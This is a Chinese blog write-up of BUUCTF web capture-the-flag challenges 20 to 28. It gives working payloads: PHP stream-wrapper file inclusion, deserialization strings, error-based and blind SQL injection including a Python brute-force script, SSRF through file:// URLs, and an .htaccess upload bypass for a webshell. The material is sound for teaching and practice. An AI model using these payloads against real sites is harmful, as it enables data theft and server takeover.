BUUCTF-Web_第一页_WP总结笔记(下)

BUUCTF-page_1 总结(下:20-28)

---钦原.2021-5月末

总目录整理:

文件包含类:

 

1: HCTF-warmup-2018:php(审计文件包含)

4.[ACTF2020 新生赛]Include

5.[极客大挑战 2019]Secret File

 

SQL注入类:

2.Web-强网杯sql随便注:

3.[SUCTF 2019]EasySQL

6.[极客大挑战 2019]LoveSQL

15.[极客大挑战 2019]BabySQL

21.[极客大挑战 2019]HardSQL

25.[GYCTF2020]Blacklist

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

26.[GXYCTF2019]BabySQli

 

命令执行类:

7.[ACTF2020 新生赛]Exec

8.[GXYCTF2019]Ping Ping Ping

 

框架特性利用类:

9.[护网杯 2018]easy_tornado

php解析特性绕过利用类:

10.[RoarCTF 2019]Easy Calc

 

HTTP请求头等基础题类:

11.[极客大挑战 2019]Http

17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)

16.[ACTF2020 新生赛]BackupFilephp弱类型比较)

18.[BJDCTF2020]Easy MD5

24.[MRCTF2020]Ez_bypass(弱类型)

 

审计-反序列化类:

12.[极客大挑战 2019]PHP--->  php-serialize()反序列化

20.[ZJCTF 2019]NiZhuanSiWei

31.[网鼎杯 2020 青龙组]AreUSerialz

27.[网鼎杯 2018]Fakebook  sql+反序列化+ssrf

28.[网鼎杯 2020 青龙组]AreUSerialz

 

文件上传类:

13.[极客大挑战 2019]Upload

14.[ACTF2020 新生赛]Upload

19.[SUCTF 2019]CheckIn

23.[MRCTF2020]你传你马呢?

--------------------------------------------------------------------------------------------------------------------------------


20.[ZJCTF 2019]NiZhuanSiWei


 

发现审计内容:

看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它。

text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf

file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。

而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。

所以需要用方法绕过它,两种方法

1.php://input伪协议

此协议需要 allow_url_include on ,可以访问请求的原始数据的只读流, post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。

看到有回显,可行。


 

2.data://伪协议

data://协议需要满足双on条件,作用和 php://input 类似


 

也可以加上 base64 编码。


 

再看第二个if file不能有flag字符。没啥,往下看。

提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。

 

php://filter/read=convert.base64-encode/resource=useless.php

 

所以构造payload

http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

?text=data:text/plain,welcome to the zjctf

&file=php://filter/read/convert.base64-encode/resource=useless.php

成功回显。


 

(此处textdata://的理由是php://input是用post而拼接变量,不方便)

得到的base64经过解码后为:

useless.php       

<?php  

class Flag{  //flag.php  

public $file;  

public function __tostring(){  

if(isset($this->file)){  

echo file_get_contents($this->file);

echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");

}  

}  

}  

?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。

<?php  

class Flag{  //flag.php  

public $file;  

public function __tostring(){  

if(isset($this->file)){  

echo file_get_contents($this->file);

echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");

}  

}  

}  

$a=new Flag();

$a->file="flag.php";

echo serialize($a);

?>  

此处建议在线php

输出为:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

所以构造payload

http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

?text=data:text/plain,welcome to the zjctf

&file=php://filter/read/convert.base64-encode/resource=useless.php

&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag回显:

这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。需修改为 useless.php
最终payload
    http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

 ?text=data:text/plain,welcome to the zjctf

 &file=useless.php

 &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

访问后f12即可见flag
flag{31a696e7-345d-4fd7-95ee-853510639c47}

优秀wphttps://blog.csdn.net/tm_1024/article/details/107150182

21.[极客大挑战 2019]HardSQL

首先抓包丢sqlmap level3慢慢跑

这边先测试:

1

判断闭合:单引号成功闭合

2

判断注释:#成功注释

3

逻辑触发:

'and 1=1# 被拦截

经测试:andor、空格、=、等

被封死了,想想其他的办法,可以使用extractvalueupdatexml进行报错注入

空格和=号没有,所以我们要使用()来代替空格,使用like来代替=

^  等同于 and  

语法:  Updatexml(1,  concat(0x7e,    ,0x7e) ,1)

构造payload

'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#


 

出库名,继续走,遇到空格就()小括号包裹绕过

'^updatexml(1,concat(0x7e,(select((group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

发现被检测,一看,忘记把最后的=换成like

墨迹好半天,老报错。。注意小括号位置且要完整对应

'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1)#

H4rDsq1

'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)#

id,username,password

继续跟password字段:

'^updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)#


 

flag{195ec821-750a-4f9a-a86b-9c

发现显示不完整:

补充知识点:

left()   right()  函数,

LEFT(ARG,LENGTH)RIGHT(ARG,LENGTH)

LEFTRIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHARBINARY STRING

发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接

所以构造payload

'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#

//right((password),30)

     1-750a-4f9a-a86b-9cfbdec97feb}

拼接:flag{195ec821-750a-4f9a-a86b-9cfbdec97feb}

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

(有史以来最最最,感觉学python真的有用,尤其是爆破的一次!!Burp盲注ascii爆破搞了42位,然后python3不到40秒钟就出来,心态啊。)

看题:测试过滤了什么?:

union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都等常用常见的sql注入、判断语句被过滤了。

但可以替换and^ 符没被过滤,那么:
   用 ^ 替换and

()包裹替换空格,本题经测试可知是布尔盲注:这道题除了过滤就是无脑布尔盲注,脚本或burp(会py一定脚本),故没有太多原理可补充,直接贴 wp

解题方法:

可以

这样傻乎乎的爆破42位(没错当我不会python的时候我都这么做。。还真做出来了呵呵呵呵f*

python3 确保网络速度和页面链接正常,秒出。。

----------------------------------------------

import requests

import time

url = "http://0913e479-f140-4b93-90b7-48bdc9c6206c.node3.buuoj.cn/index.php"      #这里url为自己的

payload = {

"id" : ""

}

result = ""

for i in range(1,50):

l = 33

r =130

mid = (l+r)>>1

while(l<r):

payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)

html = requests.post(url,data=payload)

#print(payload)        #这里可以输出payload,想看payload的可以看

if "Hello" in html.text:

l = mid+1

else:

r = mid

mid = (l+r)>>1

if(chr(mid)==" "):

break

result = result + chr(mid)

print(result)

print("flag: " ,result)

-----------------------

结果:

flag{e8c369df-da87-4e7a-8c96-4632bcc11cdf}   over

23.[MRCTF2020]你传你马呢?

打开靶场 是上传


 

裸马被拦截,继续测试,尝试MIME绕过:
文件后缀改为jpgConcent-type字段改为:  image/jpeg


 

成功上传至:

/upload/347fbe793214f7430dc140daf0d84d99/.jpg

但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过

编写一个txt内容为:SetHandler application/x-httpd-php   后保存,更名为.htaccess

上传至靶场,同时更改类型为 image/jpeg

回显:成功上传

/var/www/html/upload/347fbe793214f7430dc140daf0d84d99/.htaccess succesfully uploaded!

之后用蚁剑连接上传好的jpg马子,就ok

 

主要考查了基本的文件上传MIME和后缀名检测绕过,加上.htaccess 配置利用的绕过。

24.[MRCTF2020]Ez_bypass

打开靶场,发现给好了源码,f12后整理到code


 

发现

第一步考察的是php弱类型:get收到的ggid的值不能相等但是md5的值需要强相等:

直接数组绕过,hackbarget传入?gg[]=1&id[]=2

成功突破第一关

接着审计发现需要让passwd变量,post传入,且不能为数字的前提下值为1234567

考虑梅开二度数组法,结果:


 

让我们不要故技重施

那好办,直接post传入:passwd=1234567aa


 

Over

25.[GYCTF2020]Blacklist

知识点:handlersql语句差不多的功能,性能极好,只是对应用来说需要巨大改动,而sql优势在标准化,故不算普及,handler的语法等不再赘述。

1';show databases;# //获取数据库名

1';show tables;# //获取表名

1’desc `表名` //获取表结构

当我们再次使用修改字段名这种方式的时候,发现过滤了这些关键字,该怎么办呢

于是,我们查了百度,然后又学会了一个新姿势

HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭

1’

HANDLER FlagHere OPEN;

HANDLER FlagHere READ FIRST;

HANDLER FlagHere  close;#

Payload最终:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere  close;#

执行这个,然后,就可以出来flag


 

26.[GXYCTF2019]BabySQli

打开发现账号密码框,猜测是注入:
先分析一波首页源码,没啥问题


 

单引号可以报错,没有拦截


 

接着order by测试

(这里也可用burpfuzz一下过滤机制,此处先略过)


 

尝试大小写绕过


 

成功绕过

猜测到四个字段开始提示字段错误,说明一共三个字段


继续测试,发现admin位于第二个字段位时,正常输出wrong pass而非 wrong user


 


 

说明第二个字段是username

这里关键点是,mysql在查询不存在的数据时,会自动构建虚拟数据,一般数据存储要么明文,要么MD5,这里参考wp(因为没有任何提示,脑洞型)

构造一个password,md5查询

Md5->123456   =   e10adc3949ba59abbe56e057f20f883e

最后payload name=a'+union+select+1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456


 

Over

27.[网鼎杯 2018]Fakebook

进入页面,常规审计f12无发现,这边先扫一下有无泄露扫目录,扫描目录发现存在robots.txtflag.php,访问发现源码泄露/user.php.bak


 

用户在注册填的blog会调用get()函数使用curl发起网络请求获得blog内容并显示出来

这里因为curl_exec()使用不当造成SSRF

因为注册的时候限制了http(s)协议,故直接利用SSRF漏洞读flag.php不可行


 

发现页面view.php?no=1存在数字型注入,经过简单判断:4个字段。注入发现union被过滤,使用/**/绕过


 

我们猜测对应回显点的位置是在这些地方,2位置是可以直接回显联合查询注入的

下面分方法了:

法一:ssrf+反序列化+sql注入

根据报错信息可知


 

1网站绝对路径(/var/www/html/)

2数据库里的数据都是反序列存储

因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flagcurl不仅支持http(s),还支持file协议,所以可以通过file协议读文件

我们在此猜测(暂时未发现线索说明flag就是这个位置的,只能猜,而确实是猜出来的)位置为:

/var/www/html/flag.php


 

得到反序列化字符串:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以接下来只要把这段字符串放在get接受的位置即可:(加单引号包裹)

Payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

~至于为何在4位点插入串,因为我们之前猜测了:ssrf的利用位置在blog--4位点。别的位置无法curl_exec()造成ssrf


 


可以看到成功blogflag地址,审计f12得到base64字符串,解码得flag

法二:sql注入load_file()利用报错的绝对路径直接查到flag.php(是不是后悔自己发现了源码泄露?)

因为我们已经猜测了flag.php的位置,所以确认存在sql之后,我们可以利用load_file函数:
payload?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

f12空白区域,直接得到flag

28.[网鼎杯 2020 青龙组]AreUSerialz

打开页面发现  审计:


    


总结:

1. 传入str,经过处理反序列化。

2. is_valid过滤:传入的string要是可见字符ascii值为32-125

3. $opop=="1"的时候会进入write方法处理,op=="2"的时候进入read方法处理。

is_valid过滤-绕过:

1.正常构造payload的话因为opopopfliename$content都是protected属性,序列化的的结果的属性名前面会有/00/00(或者%00%00)/00ascii0不可见的字符如下图,就会被is_valid方法拦下来。

PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

弱类型绕过:

然后最后执行到:$obj=unserialize($str)   

(会调用__destruct魔术方法,如果op="2"的话就把op="2"的话就把op="2"的话就把op="1"

这时候要使op="2"不成立且op=="2"成立,这里可以自己使用op等于整数2而非字符2使得进入read方法里面。

然后构造序列化字符串:


最后payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

查看源码即可看到flag

或者使用PHP伪协议读取flag.php:

得到base64解码得到flag

Page-1
OVER

 

总计整理28道(page-1)

                                                                           大佬勿喷---钦原



来源链接:
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《BUUCTF-Web_第一页_WP总结笔记(下)
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)